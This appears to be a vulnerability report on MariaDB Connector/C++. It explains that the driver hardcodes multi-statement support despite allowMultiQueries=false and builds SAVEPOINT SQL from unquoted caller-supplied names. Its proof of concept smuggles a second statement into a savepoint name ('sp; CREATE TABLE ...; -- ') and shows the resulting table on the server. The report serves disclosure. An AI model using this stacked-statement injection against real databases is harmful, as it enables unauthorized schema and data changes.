MariaDB · Report #3890329
Connector/C++ ignores allowMultiQueries and injects savepoint names into SQL
How it was found
Two independent defects in statement building. ConnectProtocol::createConnection passes the literal CLIENT_MULTI_STATEMENTS to mysql_real_connect and throws away the capability mask it just computed, so stacked statements are accepted on every connection even though allowMultiQueries defaults to false and the code contains an explicit gate for it. Separately, Connection::setSavepoint and Connection::releaseSavepoint concatenate the application-supplied savepoint name into SQL with no quoting or validation at all. Together they turn a savepoint name into arbitrary statement execution.
Details
initializeClientCapabilities computes the client flags correctly at src/protocol/capi/ConnectProtocol.cpp:183:
if (options->allowMultiQueries || (options->rewriteBatchedStatements)){
capabilities|= MariaDbServerCapabilities::MULTI_STATEMENTS;
}
That mask is then never handed to the connect call. At :474 the flag argument is a literal:
if (mysql_real_connect(connection, NULL, NULL, NULL, NULL, 0, NULL, CLIENT_MULTI_STATEMENTS) == nullptr)
The computed capabilities value is passed only to sslWrapper and to authenticationHandler, whose signature ignores it (:590 takes int64_t /clientCapabilities/). So the only client flag that reaches libmariadb is the hardcoded one. allowMultiQueries defaults to false (src/options/Options.h:71, src/options/DefaultOptions.cpp), which means an application that deliberately leaves multi-statement support off, or explicitly sets it off, still gets it.
The savepoint path has no escaping. src/MariaDbConnection.cpp:1093-1099:
Savepoint* MariaDbConnection::setSavepoint(const SQLString& name)
{
Savepoint* savepoint= new MariaDbSavepoint(name, savepointCount++);
std::unique_ptr<Statement> st(createStatement());
st->execute("SAVEPOINT "+savepoint->toString());
and :1113-1116:
void MariaDbConnection::releaseSavepoint(const Savepoint* savepoint)
{
std::unique_ptr<Statement> st(createStatement());
st->execute("RELEASE SAVEPOINT " + savepoint->toString());
MariaDbSavepoint::toString (src/MariaDbSavepoint.cpp:54-58) simply appends the numeric id to the caller's name. name arrives from the public API sql::Connection::setSavepoint(const SQLString&). The driver has a quoteIdentifier helper at MariaDbConnection.cpp:85-87, and it is not used here. Connector/J backtick-quotes savepoint names.
Note that quoteIdentifier would not have been sufficient anyway: it is built on the same sql::mariadb::replace whose cursor bug is the subject of the companion report, so it emits an odd run of backticks and does not reliably quote either.
PoC
- Connect to a stock MariaDB 11.4 with allowMultiQueries explicitly set to false, which is also the default:
sql::Properties props({{"user","root"},{"password","pocpw"}});
props["allowMultiQueries"] = "false";
- Execute a stacked statement. The application asked for multi-statement support to be off:
=== F3a: stacked statement with allowMultiQueries=false ===
server accepted the stacked statement
canary_a exists = YES <== multi-statement is ON
- Call setSavepoint with a name containing SQL:
conn->setSavepoint("sp; CREATE TABLE pocdb.canary_b (id INT); -- ");
- The server general log shows the exact statement the driver sent:
SAVEPOINT sp; CREATE TABLE pocdb.canary_b (id INT); -- 0
- The DDL ran:
=== F3b: injection through Connection::setSavepoint(name) ===
setSavepoint() returned normally
canary_b exists = YES <== DDL executed via savepoint name
Confirmed independently on the server:
Tables_in_pocdb
alpha
canary_a
canary_b
canary_c
zsecret
- Negative control: with a plain savepoint name the emitted statement is a normal SAVEPOINT and no extra table appears.
Scenario A (sanity): plain savepoint name -> a normal SAVEPOINT statement, no extra table created Scenario B (negative control): allowMultiQueries explicitly set to false, which is also the default Scenario C (attack): stacked statement accepted (canary_a created) and setSavepoint("sp; CREATE TABLE ...; -- ") emitted that exact pair (canary_b created)
Artifacts:
- poc/poc_evidence.txt
- poc/poc_chain.cpp, poc/poc_chain2.cpp
- Affected: src/protocol/capi/ConnectProtocol.cpp:474 and :183, src/MariaDbConnection.cpp:1097 and :1115, src/MariaDbSavepoint.cpp:54-58, at HEAD c57f17f
Preconditions. For the savepoint issue the application must pass an untrusted string as a savepoint name; frameworks that name nested transactions after user-visible labels, tenant identifiers or request identifiers match that shape. The multi-statement issue has no precondition at all: it applies to every connection the driver makes.
Impact
The always-on multi-statement defect is CWE-1188 Insecure Default Initialization and is best treated as a severity amplifier: on its own it does not grant access, but it removes the single most effective containment for every injection bug in or above the driver.
Realized on a running server: arbitrary DDL executed from a savepoint name, with the created table confirmed present afterwards.
The multi-statement defect matters beyond savepoints. Any SQL injection an application has, including the metadata escaping bug reported separately, is upgraded from single-statement manipulation to arbitrary statement execution because the driver silently supplies the stacking capability. An application that audited its configuration and set allowMultiQueries=false has no way to tell from the outside that the setting does nothing.